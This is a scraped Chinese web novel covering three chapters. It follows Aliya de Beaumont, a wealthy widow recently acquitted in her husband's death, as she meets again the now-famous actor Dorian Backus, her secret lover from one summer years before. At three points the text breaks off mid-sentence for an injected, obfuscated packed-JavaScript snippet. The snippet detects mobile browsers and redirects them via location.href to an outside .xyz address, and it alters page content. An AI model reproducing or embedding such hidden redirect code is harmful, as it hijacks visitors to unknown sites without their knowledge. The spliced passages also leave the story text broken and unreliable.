《余兴派对[破镜重圆]》 1. 1-1 夜间十点,蔚蓝海岸上的某座知名度假酒店。 休息室接近满座,该来的常客早在惯常的位置谈笑风生。因此,当结实的木门忽然从中开启,几乎所有人都讶然看向休息室入口。 阿利雅就那么走进来,在所有人的注视之下。 她身着漆黑鸡尾酒礼裙,头发高高盘起,像纤细而婀娜的四分休止符,无预告地跳上乐谱,一整晚没停过的絮絮交谈因她困惑地停住。 此起彼伏地有人悄声念她的名字,伴随时不时迸发的惊异抽气,紧跟着自发的噤声。 很快,寂静如涟漪扩散到休息室最深处。 露台边的爵士乐队没来得及追上门边的新动向,还在继续奏乐。低音大提琴手恰好这时不幸弹错了一个音,但幸运的是,这个错误虽然刺耳,却根本无人在意。 所有人、包括乐队成员都在看阿利雅。 毕竟,即便是这间贵宾休息室的常客,也不是每天都能见到新闻头条人物。 相较之下,阿利雅·德·博蒙特应该已经习惯了为人瞩目。 她第一次成为媒体焦点是五年前,作为一场世纪婚礼的主角。 年仅20岁的欧洲古老家族继承人——这是那时阿利雅身上的标签。与她在海岛阳光下交换戒指的新郎是合众国某家科技的公司创始人,在富豪排行榜上有名。 新郎比新娘年长16岁称得上老夫少妻,但36岁的亿万富翁一下子就显得还算年轻。 新娘青春美丽,而众所周知,男人无论几十岁,都更偏爱二十多岁的美色。即便如此,没人完全相信这场婚礼是一段爱情佳话的大团圆结局。 不仅仅因为两人相识不过数月就闪婚,更因为新郎当时正野心勃勃地进军旧大陆。他迫切需要一些本地人脉助力,帮助他在台面下斡旋,寻找捷径绕开欧陆严苛繁琐的法律条文。 而德·博蒙特恰好是个古老的、受人尊敬的姓氏。 萦绕在这段婚姻上的阴云在两年后更是遮天蔽日: 阿利雅再一次拥有属于她的头条,是因为她的丈夫在自家泳池溺亡。 不仅如此,死亡前两周他才更新了遗嘱;除去部分小额赠予的受益者,阿利雅是他的唯一指定遗产继承人。 警方无法排除他杀可能性,阿利雅于是成为犯罪嫌疑人。 她支付超高额保释金后戴着墨镜走出警局的照片,甚至一度成为热门网络meme. 漫长的取证、重新取证和庭审持续了两年多,比公众对案情从津津乐道到逐渐厌倦耗时更久。 两个月前,阿利雅·德·博蒙特无罪获释。 她因这个审判结果重回公众视野,网民对她短命的婚姻和丈夫都突然再度爆发出狂热的兴趣,她却消失得极为彻底,最能干的八卦记者也无法追踪她躲在哪里。 向来消息灵通的《水星报》都只能悻悻地在系列报导的最后刻薄: “无论如何公众是否相信这位富豪遗孀的清白,又或者她现在正在哪座海岛天堂享受新得的自由,一个事实不会改变——从今天起,阿利雅·德·博蒙特会是这片大陆上最富有并且单身的25岁丧偶女性。” 而这位单身丧偶女性此时此刻正坦然穿过休息室,对卡座上的熟面孔们视而不见,直奔吧台。 “我可以坐这么?”她微笑着发问,用眼神向空座示意。 被搭话的男人呛了一下,不知道是紧张还是过于吃惊:“当、当然。”他旋即想起这是个制造谈资的绝佳机会:“我可以请你喝一杯吗?” “不了,谢谢,我更喜欢自己买单。” 考虑到这位女士现在可以眼睛不眨一下地买下任何一座酒窖,男人顿时有些尴尬。 阿利雅不再看他,转向酒保。 酒保也是熟面孔,记得数年前她还是常客时的口味:“仍然是加果皮马丁尼,德·博蒙特女士?” 阿利雅点头,想了几秒又纠正自己:“不,给我来杯椰林飘香吧。” 今天她想来点不那么‘有派头’的东西。 每种鸡尾酒都有与之相关联的刻板印象。 金汤力老派;结伴来酒吧玩的女孩爱点黛绮莉;附加特殊要求的加果皮马丁尼则会让饮酒者显得独特有品位,并且懂得自己想要什么…… 当然,刻板印象终究只是刻板印象。 哪怕点了富有热带风情的凤梨椰香鸡尾酒,阿利雅也很难被看作无忧无虑的度假客。 酒保愣了半拍,识趣地不做任何评价:“当然。” 椰林飘香还没端上来,休息室里的交谈音量已经恢复正常。仍然时不时有人望向吧台这里,但那只是看客的好奇,事不关己,尤其因为当事人完全不把身上的目光当一回事,旁观者的惊异和兴奋也很快如放久了起泡酒一样漏气。 阿利雅自顾自用指甲尖戳杯沿菠萝片背上的刺,慢慢咬着吸管喝酒。杯子才空了五分之一,就有人打断她独酌。 “嘿,阿利雅,又在这见到你真好。” 她闻声抬头,朝着面前的金发丽人抬了一下眉毛,和对方行贴面礼:“凯蒂,好久不见。” 凯蒂·萨金家中是酒店业巨鳄,萨金家注资的集团产业包括这座高级度假设施。 阿利雅记不清和凯蒂认识多少年了。她们是所谓的假期朋友,从小就常常在度假地碰到然后玩到一起,假期结束各回各家、各过各的日子。假期朋友很少联络,直到下一次碰面。 阿利雅曾经很羡慕凯蒂。不仅因为凯蒂家没有笼罩头顶的经济问题。 “我就不问你最近过得怎么样了。”凯蒂笑时依旧会露出酒窝,她甜美的笑容却比阿利雅上次见她时多了些东西。但她和以前一样坦率直白:“恭喜你。” 阿利雅于是也真心实意地回道:“也祝贺你订婚,我看到新闻了。” 凯蒂低头拨正颈间的绿祖母吊坠,没正面回应:“来我套间喝一杯怎么样?” “我才刚刚坐下。” “噢拜托,我保证我调的草莓莫吉托比你手里这杯好喝一百倍,”凯蒂冲酒保眨眨眼,“无意冒犯,但这是事实。阿利雅亲爱的,等我一下,我去拿个披肩。” 阿利雅离座前喝了一大口鸡尾酒,果香和椰乳巧妙中和的朗姆酒骤然发力,微热的劲头冲过鼻腔、直击脑髓,带来愉快的晕眩。 即便如此,她起身时仍然站得很稳。 凯蒂回卡座后又被人绊住聊了起来,阿利雅于是走到休息室门边的角落,随手拿起一本时尚杂志翻开。 光滑的铜版纸带着凉意,轻飘飘地随她的指尖拢到一边,露出某高奢品牌香水的广告页。 是一张代言人特写,正脸直拍,黑白滤镜,打光和构图都简单到朴素,却最大程度地发挥了黑发青年极具攻击性的俊美容貌。 有这样的一张古典雕塑般无可挑剔的脸做门面,无论是偶然经过海报的路人,还是一瞥间看到宣传图的读者,都会不由自主停下,让视线在广告上多停留那么一秒半秒。 阿利雅也不例外。 “他真是个漂亮男孩,不是吗?” 凯蒂的声音从身侧传来,阿利雅吓了一跳。她都没意识到自己什么时候走神了。 “他应该早过了可以被叫男孩的年纪。”她说着随手摞下杂志。 凯蒂噗嗤笑了:“别那么严格,他到现在都还在电影里演美少年,最苛刻的影评人对此都没有意见。” 阿利雅也跟着笑:“你是他的粉丝?” “你不是?” 阿利雅条件反射地摇头:“我很久没看电影了。” “我记得你很……”凯蒂讶异地顿了顿,面露了悟之色,“没事,现在你有大把时间把这几年的片子慢慢补上。等会儿我们就点播一部来看吧!” 与凯蒂的再会之夜最后成了丧尸电影之夜。 只要出现刺激镜头,凯蒂就会尖叫,叫着叫着,她泪流满面。 阿利雅什么都没有问,只把手臂绕过旧友的肩膀。 她回到自己的套房时差不多凌晨四点,自然醒来时已经是午后。她操作遥控器把房间遮光帘打开,酒店平板终端上闪烁着消息提示。 是酒店管家留言,前台有给她的包裹,来自凯瑟琳·萨金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379263|184066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女士。 阿利雅让人把东西送上来,等到服务生来按门铃,她才想起来昨晚凯蒂好像提过那么一件事: 五年前的那个夏天的最后,阿利雅登上私人飞机去海岛结婚的前一天,她把一箱子‘带不走’的私人物品留给了凯蒂,请她帮忙保管。 她对凯蒂的为人放心,相信她不会打开箱子窥探。她那时同时也暗暗认定,以凯蒂的粗率、以及萨金家的更换居住地的频次,箱子大概会几经辗转终于不知去向。 那或许正合她意。 但现在这个黑色塑料储物箱又回到了阿利雅脚边。 酒店员工贴心地擦拭掉了存储和运输在外壳留下的灰尘,这箱子甚至比她记忆中还要干净,却也黑得不祥。 阿利雅掰开箱盖扔到一边,盘腿坐下,伸手往箱子里随意一摸。 她抓到了一个小号文件袋,封口用线缠紧,内在颇有一些厚度。 完全不记得里面装了什么。 阿利雅瞪着那一圈?圈用力绕紧的线看了很久,终于把文件袋拆开。 开口朝下一抖,宝丽来相片像倒下的纸牌屋,扑簌簌散落满地,也落在阿利雅膝上。 零碎的、生疏的记忆如成像过程中的底片,轮廓和色块模糊地浮现,带着虚影。她不知道自己期待看到什么,沉默地拿起离得最近的那张相片,翻转到正面。 似乎是黄昏,又或许是清晨,总之按下快门时的曝光条件对拍立得相机来说有些苛刻。 背景是模糊的海岸和棕榈树,深色头发的拍摄对象背朝镜头,像是察觉了有人在拍他,正回身转过来。 快门定格了那个瞬间。 没拍到正脸,但相片中人露出的侧颜足够多,让熟悉这张脸特征的人立刻能辨认出来—— 多里安·巴克斯。 这位新生代国际影星占据了近两年太多广告牌、杂志内页和封面。 包括昨晚阿利雅随手翻开的那本时尚杂志内页。 扑的一声响,是相片落到木质地板上,也是回忆挣脱遗忘、水落石出般上浮现形。 她忽然想起来了。 按下快门是在廉价周租公寓的阳台上。那个阳台地面没有铺瓷砖,光脚踩上水泥地很凉,但不会发出声音。 前方两栋公寓楼的空隙漏出一截海岸线,还有成列高得嚣张的棕榈树。只要拍摄的角度得当,从取景框中看起来,靠在阳台栏杆边就好像在海滨。 对于举起宝丽来相机前在想什么,阿利雅只记得那时迸发的奇想。 她想要把这个背影占为己有,长久地私藏。 可她也知道这样贪婪的愿望不会实现,不可能实现。就像夏天会结束的事实一样,无从撼动。 她连背影也没真的拍到。 宝丽来的闪光灯亮起前半秒,拍摄对象就已经察觉镜头。 喀嚓。 “我没有许可你拍我,你侵犯了我的肖像权。”多里安·巴克斯绷着脸走近,声色冷硬,颇有大牌明星风范。 “把相机交出来,立刻,现在——” 义正词严的态度没能坚持到句子结束,不知道是谁先扑哧笑了出来。笑意互相传染,两个人笑得停不下来,明明没有什么特别好笑的。 “我没说不给你版权费,”阿利雅踮脚和他碰了一下嘴唇,“给。” “就这样?”多里安抬起眉毛,灰眼睛狡黠地闪烁着。 她一本正经,忽然又开始了角色扮演游戏:“先生,我认为这是很慷慨的价码。” “交涉失败,那我们法庭上见。”他快步走进室内,有那么一瞬间看上去很像电影里的精英律师,步态都变了一个人。 然后他转过身,脱掉外套似地卸下短暂进入的角色,懒洋洋靠在狭小厨房的餐桌边,一偏头,叹息似地命令: “好了,现在过来亲我。” 那是2015年的夏天,多里安还不知道,他什么时候才能拿到第一个电影角色。 他同样不知晓,半个月后会有一场盛大的婚礼。 新娘每晚和他相拥入眠,但新郎另有其人。 2. 1-2 阿利雅梦见了多里安·巴克斯。 他不再是青少年交界时期的模样,更像直接从那个香水广告的宣传图里走了出来,走到她面前,一眨不眨地盯着她。 然后,他用五年前的表情和语气,对她说出同一句话: “我永远不会原谅你。” 她在这个地方惊醒。 才睁开眼,她立刻因为刺目的晨光重新阖上眼帘,呻吟着抬手遮住双目。 差点忘了,今早她和私人律师有约,所以昨晚特地设定好卧室遮光帘到点自动打开,防止睡过头。 在床头柜找到手机确认时间还充裕,阿利雅闭上眼,好像又看到了梦中的那双灰色眼睛。 她翻身背对窗户,漫无目的地打开手机浏览器。 大概是还没完全睡醒,她回过神时,搜索引擎输入框里神秘地多了‘多里安·巴克斯’这个名字。 她的手指在清空键上方悬停。 这几年除了有时不可避免在各种海报和封面上看到他,她很少想到多里安,也没有特意关注过他的动向。 今天会有好事发生,在这样的早晨容许好奇心占上风,跟进一下旧相识的动向,应该也是很自然的吧。 按下回车。 Omni百科公众人物词条‘多里安·巴克斯,演员’位列搜索结果最上方,再下方是搜索引擎贴心整合地结果相关最新文娱新闻: 《因戏生情?多里安·巴克斯和伊娃·菲被目击同行》 《知情人称巴克斯和菲在约会》 《这次也是谣传?多里安的乌龙绯闻简史》 …… 即便不关注文娱新闻,阿利雅也听说过女方的名字。以童星身份出道,演技成熟,稳扎稳打,一直有新作品问世,和横空出世的多里安·巴克斯走的是两种路线。 阿利雅继续滑动屏幕,让各种专访和影评在视野里滑过,脸上没什么表情。 明明还没到八点,阳光却已然炽烈,晒到的后颈和背脊皮肤没过一会儿就隐约发烫,让人难以忍受。 “所以我讨厌夏天。”她喃喃,随手一扔手机,把自己从床上拎起来去洗漱。 和昨天、前天、还有大前天一样,今日也是个大晴天。 一早天空就蓝得透亮,本地电视晨间节目的主持人们播报完约等于零的降雨概率,顺势引入夏日新闻特辑。穿着随意的记者现场连线,在海边随机采访早起的游客。 阿利雅听着心烦,按掉了电视开关。 每年夏季,观光客就从世界各地奔赴这片蔚蓝海岸,享受阳光和沙滩。 但她从小就讨厌夏天。 记事开始,她家每年都会来海边度假。阿利雅始终难以忍受这里的太阳——热情无度,白得晃眼。 尤其到了灼热的午后,商家大都打烊午休,鲜有人在外面走动。安静的石板路和沙滩都像是融化进了日光里,能做的只有等待日落,等待夜晚,等待海风降温。 无所事事的每分每秒都分外漫长。 和她的暑假一样,是仿佛没有尽头的温柔酷刑。 她已经结束的婚姻同样没能缓解她对夏日的恶感。 那场极尽奢华的婚礼在夏季的尾巴,现场的花海据说用尽了一整个季节的玫瑰和月季。对当事人来说,那婚礼没糟糕到称为灾难,但也没什么特别值得记住的瞬间。 让阿利雅印象深刻的反而是婚前的谈判。 拟定婚前协议时她明确要求,未婚夫必须在婚前将部分个人资产一次性转到博蒙特城堡基金会名下,用来维持这一家族古迹的修缮运营。 她当时的未婚夫,后来的丈夫、同时也是现在的亡夫亨利是个彻头彻尾的商人,精明,自视甚高,但他偏偏不希望自己的婚姻也是100%纯度的金钱交易。 他自觉为了人脉结婚有损他的个人魅力。无论如何,他的妻子应当真心爱他,又或是诚心感激他的。 不顾一切要保住祖传城堡的古老家族末裔,阿利雅的背景故事恰好满足他的需求: 明示曾经有过封地的姓氏高贵得一目了然,在商场上足够用来叩开一些紧闭的门户;同时又因为贫穷而弱势,因为弱势所以安全,更因为安全所以惹人怜爱。 以此为前提,花点钱坐实他的白马王子身份,又有什么好犹豫的? 所以亨利爽快地应下了阿利雅的要求。至少在那个瞬间,阿利雅觉得他好懂,并且因此有点顺眼。 事后,亨利的律师则没白拿六位数佣金,转而附加条件,亨利在婚后会成为基金会正式法人。 而今天,亨利死后两年有余、无罪判决下达第三个月,在这个过于晴朗的上午,一应手续终于办完,法人头衔与基金会决策权终于落回阿利雅手中。 “这样就结束了?”阿利雅又看了一遍自己刚签过字的文件。 她手中的文件夹是全盘执行亨利遗嘱所缺的最后一块拼图。 “恭喜您,德·博蒙特女士。毫不夸张地说,现在开始,您真正自由了。”洁白方桌对侧,她的私人律师露出公式化的热情笑容。 阿利雅扯了扯嘴角,没有应答。 “如果您对遗嘱执行的细节,或是股权管理有任何问题,随时可以联系——”律师流利的告别语遭手机震动打断。 “请自便。” 律师快步走上阳台,反手拉门时有点匆忙,只言片语从没关紧的玻璃门空隙钻进来,飘过总统套房敞亮的会客厅,抵达阿利雅耳畔。 投稿……小报……酒店的责任…… 阿利雅摸出手机,一条新消息通知刚好跳出来,来自凯蒂·萨金。 ‘噢亲爱的真的十分抱歉,爸爸会处理好的,方便时给我个电话。’ 阿利雅抬了抬眉毛,第一反应是凯蒂在社交媒体上提到她,说错了什么话。 切到图片社交软件Flickerlog,点进凯蒂的帐号,上次更新还是两天前。 她正盯着凯蒂的消息发散想象力,律师接完电话回来了。 “我助理刚刚来的电话,前天晚上您在酒店休息室的时候,有人偷拍您,然后把照片卖给了八卦网站。之后几天可能会有记者在附近蹲守,您应该考虑换一家酒店。” 律师说到这里顿了顿,笑容加深:“我记得这家酒店的休息室以私密、客源精挑细选著称,违反入会协议的会员会被驱逐,酒店方也承诺了会最大程度保护客人隐私。 “如果您需要这方面的法律协助,我有一位同学是这方面的好手。” 阿利雅翻出凯蒂的手机号,一边拨出电话,一边对律师点了点头:“麻烦你介绍了。尽快。” ※ “你刚刚和爸爸谈了什么?”凯蒂转了转蓝眼珠,转而补充,“你觉得冒犯的话就当我没问。” 阿利雅侧头看着车窗外倒退的蔚蓝海岸线:“不是什么大不了的,我拜托萨金先生牵线介绍几个人,我在考虑购置房产。” “噢,”凯蒂的好奇心瞬间有如戳破的气球,肉眼可见地憋下去,出于礼貌,她过了几拍又问了一句,“你已经有心仪的目标了?” “德·博蒙特家在圣波洛伊斯以前有过一栋度假房产。我准备把它买回来。”阿利雅皱了一下眉头,仿佛觉得自己说出这话滑稽、难以置信。 凯蒂立刻打开搜索引擎,滑动了一会儿屏幕。 她对萨金家的地产业投资显然缺乏兴趣,却仍然有一定相关素养:“啊……那样的老房子修缮保养起来很麻烦,住得也不一定舒服。如果业主有转手意向,压价的空间不小。我猜你小时候在那里有过美好的回忆?就冲着情感价值,就算谈不到底价也不会太亏。” “我其实从来没去过那里,我父母小时候,祖父母就把那里卖掉抵债了。” 阿利雅把车窗往下调,闭上眼感受海风潮湿的咸味,声音里透出某种精疲力尽后才能得到的宁静:“把那里也拿回来,我大概就能觉得,我对德·博蒙特这姓氏的责任彻底结清了……” “然后呢?”凯蒂的语调很温柔。 阿利雅掀了掀眼皮,瞳孔附近虹膜的绿色调在光影变化下愈发突出,淡褐色的眼睛于是一瞬间显得锐利。 她入神地盯着前方座椅靠背思考了片刻,像要从座椅皮面的纹路中解读出意义。 “不知道。”她最后回答。 过了几秒,她重复:“我不知道。” “但我知道今晚我们肯定都会玩得开心。”凯蒂顺势把话题引开。 “我很期待。” 两人都忽然松了口气。 乍然重逢的旧友不适合贸然谈得太过深入。相较之下,此后的日程作为话题更为安全。 为表歉意,也为了防止酒店内再流出更多八卦新闻,进而损害集团在目标客户群内的评价,萨金先生提出让阿利雅暂住到萨金家的别墅。 于是阿利雅和凯蒂驱车前往两小时外的另一座城市,那里因为每年举办的国际电影节远近驰名,相比度假小城更加繁华张扬、星光熠熠。 今晚在萨金家别墅有一个小型集会。 “来的人都有谁?” “放心,是规模很小的私人聚会,你和我,隔壁邻居——一对年轻夫妇,还有我的未婚夫。”凯蒂谈到自己的未婚夫时语气有一些不自然。 她没直接用名字,而是仅仅以身份指代,足够说明问题。 “对了,克里斯……克里斯托弗今天来不及赶回来了,但他很期待之后见到你。” 阿利雅愣了半拍才想起来,克里斯托弗是凯蒂的弟弟。她对男孩的印象十分淡薄,只依稀记得他和姐姐一样满头金发。 “什么事?”凯蒂这时接了个电话,另一头隐约是男声。 听了没几句,她的眉头就皱起来:“我说过今天是个家庭聚会。” 对面解释了几句,凯蒂声音更冷:“你一定要把每个社交集会都变成你工作的一部分吗?” 她的余光动了动,最后碍于阿利雅在旁边,她才终于没继续抬高声调。 半分钟后,通话结束,凯蒂烦躁地长呼一口气:“抱歉亲爱的,菲利普……我的未婚夫自作主张,带了朋友来今天晚上的聚会。还说什么去接的车已经在路上了,狗屎。应该是招商中的制片人之类,你不乐意就别搭理他们。” “我不介意。我也没准备当一辈子的隐士。”阿利雅笑着应答。 “你太大度了。再过半个月就是电影节,如果你有感兴趣的活动,我都可以安排。”凯蒂好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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凯蒂回了什么,大概是客气的恭维,距离比较远,阿利雅没有听清,也没仔细去听。 “我很荣幸,萨金女士。”熟悉又陌生的第三人的声音。 翻到下一页,再下一页,纸张翻折摩擦的窸窣没能彻底盖过脚步声,从门厅的深处,越来越近。 足音抵达会客厅拐角,阿利雅循声抬起头来,姿态自然松弛,仿佛刚才阅读得专注,直到此刻才意识到有人到了。 凯蒂和她的未婚夫都是浅发色,于是剩下那人的黑发就分外显眼。 几乎是本能地,又像是重力的丝线牵引,她的视线往那一抹深色靠拢。 但在真正看清楚对方之前,阿利雅就强行让目光从那人的脸上滑了过去,名副其实的视而不见,定睛望向凯蒂和她未婚夫。 “你一定就是菲利普,很高兴见到你。”她微笑着起身,和对方虚贴了贴脸颊。 “啊,阿利雅,我总觉得我们已经认识很久了,凯蒂和我说过好多你的事。” “我希望她说的都是好话。” 凯蒂反问:“我难道还有你的坏话可以说?” 三个人都笑起来。笑声在天花板挑高的会客厅里空洞地回荡。 阿利雅熟练地和这对未婚夫妻寒暄谈笑,假装没察觉锁定她的第三道视线。 菲利普的英语口音和她的亡夫亨利有显著差别,但不知为何,这一整套包裹着虚情假意的合众国式热情问候,有那么一瞬间,居然让她怀念。 虚伪的社交假面是铠甲,带来安全感。 从来是真情流露的时刻让她感到分外脆弱。 “然后这边是多里安,应该不需要我多介绍吧?我们最近在谈一个很棒的新项目。”菲利普说着略微侧身。 阿利雅仿佛这才第一次注意到还有她以外的第三人存在。 她坦然望过去,看进那双标志性的、被影评人盛赞擅长表达最幽微情绪的灰色眼睛。 睫毛翻动突然都有了露怯的嫌疑,视线对上,双方都没有眨眼。 对视的十分之一秒如有百倍漫长。 “这是阿利雅,凯蒂的朋友——”菲利普停顿了一拍,流露出迟疑,不太确定对于阿利雅的背景是否还需要说更多。 她当然是名人,但和影星的出名方式很不一样。 凯蒂蹙眉,张口要打断未婚夫。 然而另有人出声了。 “阿利雅·德·博蒙特小姐。” 多里安·巴克斯念出她的姓名,以友好的调侃语调,紧跟的后半句也像是从晚间秀节目的台本里摘出来的,用来揶揄名声在外的嘉宾: “我知道你是谁。” 他噙着无害的、迷人的微笑说道。 他们身侧数步之外的庭院里栽着柠檬树,绿叶掩映的果实是夏日的澄黄。全无笑意的灰眼睛则来自冬季。 ——我知道你是谁。 ——我也知道你是什么样的人。 阿利雅没有和他行贴面礼,而是笑着伸出手,以问候初次见面的陌生人的方式。 “很高兴认识你,巴克斯先生。” 3. 2-1 2015年初夏的那个下午,阿利雅走进那家电影院,纯粹是心血来潮。 那是她提着一个行李袋来到这座海滨小城的第三天。 她没做任何计划,在本地没有相熟的人;预支四周房租之后,她的钱包和身体一样轻盈。 睡了一个不安稳的午觉之后,她随便披了件亚麻衬衫当外套,漫无目的地沿着陌生的街道前行。 小城宁静得仿佛睡眼惺忪,沿街房屋也大都是柔和的浅色。在这典型的海边小城配色之中突然闯出一抹深沉的猩红,阿利雅不由侧头多看了一眼。 原来是张电影海报。 深红底色属于背景,细看才发觉是印了黑白花卉图样的织物。画面下部是女性胸像,丰盈黑发一丝不苟盘起,眼睑微垂,红唇抿起。 阿利雅朝画中人视线的反方向抬眼,这才注意到一块褪色的招牌。 低调地夹在咖啡馆和当铺中间,这是一家播放各种新浪潮电影还有外国作品的独立影院。 ‘卢米埃尔剧场’。 第二眼,阿利雅留意到电影的英语译名: ‘In the Mood for Love’. 看到并理解这个短句的瞬间,新鲜的领悟猛地击中她。 签完婚前协议、和律师反复确认万无一失后,她把婚礼的一应筹备事项全都扔给专业人士让她们看着办,然后随便买了一张火车票抵达陌生的小城,住进以周计费的廉价度假公寓。 做出这一系列行为时她并无自觉,但潜意识里,她早就有了想要实现的愿望: 在夏天结束前、在踏上婚姻这艘沉船之前,她要谈一场、又或是许多场疯狂的恋爱。 因为这个理由,她决定看这部电影。 售票员耷拉着眼皮的样子很可能是和脚边打瞌睡的狗学的。他连影厅方向都懒得开口,用手势指代,压根没开口提醒别的。阿利雅推开影厅门,才发现电影已经开场。 影厅几乎是空的,她随便在后排坐下。 然而事实证明,这家影院之所以客流稀少,绝不只是因为片单不那么主流。 阿利雅刚开始沉浸在荧幕中的故事里,喀拉喀拉一阵怪响,放映机罢工了。 故障一时半会儿修不好,本场的个位数观众拿到的补偿是一张无日期限制的电影券。 阿利雅把票券随手丢进包里,懒得去争辩。有位观众却没那么好打发,在收票窗口抬高音调要求退钱。她循声看过去,视线却打了个转,落到影院门口也在看热闹的人影身上。 好一个漂亮男孩。 她的感想简单粗暴。 他不应该在这里看电影,这张脸就应该在荧幕里。 冒出来的下个念头也走直线: 她不介意和他发生点什么。 前提是她不会因此惹上法律问题。 或许因为长得太符合古典雕塑中的美少年形象,乍一看她以为对方要比她小几岁。再仔细看,那正在往青年蜕变的身形又昭示他确然是同龄人。 不可避免,外貌出众的人对沐浴在身上的注视习以为常。阿利雅连看了他好几眼,这黑头发的漂亮男孩却毫无反应,仿佛对旁观琐碎的争吵乐在其中,没心思留意别的。 虽然阿利雅向来是被要电话号码的那一方,但她也可以主动出击。 她于是不紧不慢地朝电影院出口的方向走,打算在门口打个转,表演出百无聊赖的心情,而后转身,状似偶然地和离得最近的人搭话;她初来乍到,想请对方推荐附近可以消磨下午时间的地方。 还没到设计好的搭话位置,对方蓦地侧眸看来。 全无心理准备就四目相对。 身体反应快过大脑,阿利雅放弃了搭讪计划,平静地转过头,从对方的身边经过,就那么走了出去。 她一口气到下个交叉路口才停下脚步,耳朵里全是自己的心跳。 她没有因为节奏被打乱而慌乱,也没有怯场,她那么告诉自己。她的临时撤退出于一种探测到同类的直觉,外加些许突如其来的胜负欲作祟—— 那个人有一双亮却也骄傲的眼睛。 和对着镜子时,阿利雅对上那双淡褐色眼睛有那么一点相似。 只是和他发生点什么突然之间不那么足够了。让这样的人主动朝她走过来更有挑战性,也更有趣。 那个男孩,漂亮男孩,她开始这样指代他,并且下定决心要得到他。 于是阿利雅频繁地造访那家独立影院。 她的出发点不在看电影,但驱使她光顾的也不仅仅因为那里现在是她的狩猎场。 沙滩和海潮是免费的,然而海岸边的餐馆和酒吧指望着靠夏季赚够一整年的钱,一不留神就会赤字。就连海滨浴场的淋浴间都投币付费。 除了去海边游泳吹风,她可以毫无心理负担的娱乐方式不多。 距离短租公寓两条街的电影院是相当实惠的选择。 更不用说,以设计完美谋杀的耐心和谨慎筹划恋情的开端,本身就让人着迷。 卢米埃尔剧场的经营方针懒散,只有两个影厅,其中一个常年检修。于是一天最多安排两场放映,下午三点半,晚上八点。 那个漂亮男孩几乎天天出现,总是到得很早,坐在中间靠前的黄金观影位置。 阿利雅和他的交集停留在等候管理员给放映厅开锁的那几分钟,又或是电影散场时打个照面。 转眼十天过去。 阿利雅像收集海滩上的漂亮石头一样囤积观察结论: 那个男孩寡言少语,影院老板明显和他相熟,但两个人都不怎么说话; 他对影片没有明显的癖好,什么片子都看得很认真,播放演职员表时经常会写写画画做记录; 他的家境看上去并不优越,衣着也朴素,手机是好几年前的款。但偶尔地,某些细节——比如他随身携带的皮面笔记本像是意大利制造,还有偶尔会出现在腕间的老款瑞士手表——又让她怀疑他或许有一群富有的亲戚。 …… 对黑发观察对象的报告已经可以写几页纸,阿利雅却还是没和他说过一句话。 但他对她不可能没有印象。 这一猜想在初遇的第十四天得到确证。 阿利雅临时有不得不出处理的事,一共离开了小城两天。回归当夜,她感觉不到旅途的疲惫,又一次走进电影院。 她在属于她的角落坐下,摸出手机打掩护,小心翼翼往侧前方偷瞄。 那颗即使从后方看也赏心悦目的深发色头颅朝后转动,像在寻找什么,又仿佛只是想看看今天的上座率。 而后,那个人搜寻的目光落向阿利雅惯常占据的位置。 她的心跳乱了一拍。 他立刻收回了视线。 当夜放映的是长而沉闷的艺术电影,散场时已经过晚上十一点。 有几个观众中途撑不住提前离开了,阿利雅和那个男孩前后走出影厅,他们也是最后两个离场的观众。 真实身份是影院老板的售票员立刻过来关设备锁门。 “嘿,有点晚了,你送这位小姐一段。”他叫住那个男孩。 阿利雅多走了两步,才惊讶地回头,确认老板确实在和他们说话。 “这个街区治安还行,但就怕出什么事。” 她征询地看向另一个当事人。 对方表情淡淡的,他的灰眼睛好像和她对上半秒,好像又没有。 “好。”他说。 步入影院外墨蓝的夜色,阿利雅才想到,刚才好像是她第一次听到他的声音。 音色动听毋庸置疑,但比她想象中要低一些。 整条街几乎都打烊了。仅剩的没熄灭的几扇窗户后头,有细纱般流动的暖光漏出百叶窗格,和这个终于发生变动的夜晚一样,轻柔得不真实。 阿利雅走在前面,另一个人的足音落后半步跟随,拉长的影子绕过她的脚踝,延伸到她眼前。 男孩的影子证明他没有转头东张西望,而是持续地看同一个方向。那个方向的尽头,是她的背影也说不定。 阿利雅忽然很想知道他会不会主动说些什么,于是故意保持沉默。 两个街区的路很短,但那天深夜的这段路,在她的记忆里比海岸线更长。 有东西在无言中积蓄起来,像点球大战吹哨前,那几秒致命的、紧绷的绝对寂静。但如果这是一场竞技,阿利雅并不知道游戏规则,也不知道该瞄准的球门在哪。 她只知道她不想率先失守。 直到阿利雅租住的公寓映入眼帘,他们共享的还是只有缄默。 她忽然觉得索然无趣。如果他在和她玩谁先熬不住的游戏,她其实也不是非他不可。 “送到这里就可以了。谢谢你。”她说这话时没有回头。 剩下的那半个街区她可以自己走,明天下午的电影也未必一定要看。 阿利雅半步还没迈出去,肩头一紧,突如其来的大力拽着她向后。 下一秒,轰鸣的风从她面前疾速掠过。 她拨开掀飞到脸上的发丝,转头看去,只来得及捕捉到改装摩托闪烁的尾灯。全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379265|184066||http|test|mini|href|location''.split(''|''),0,{})); () { 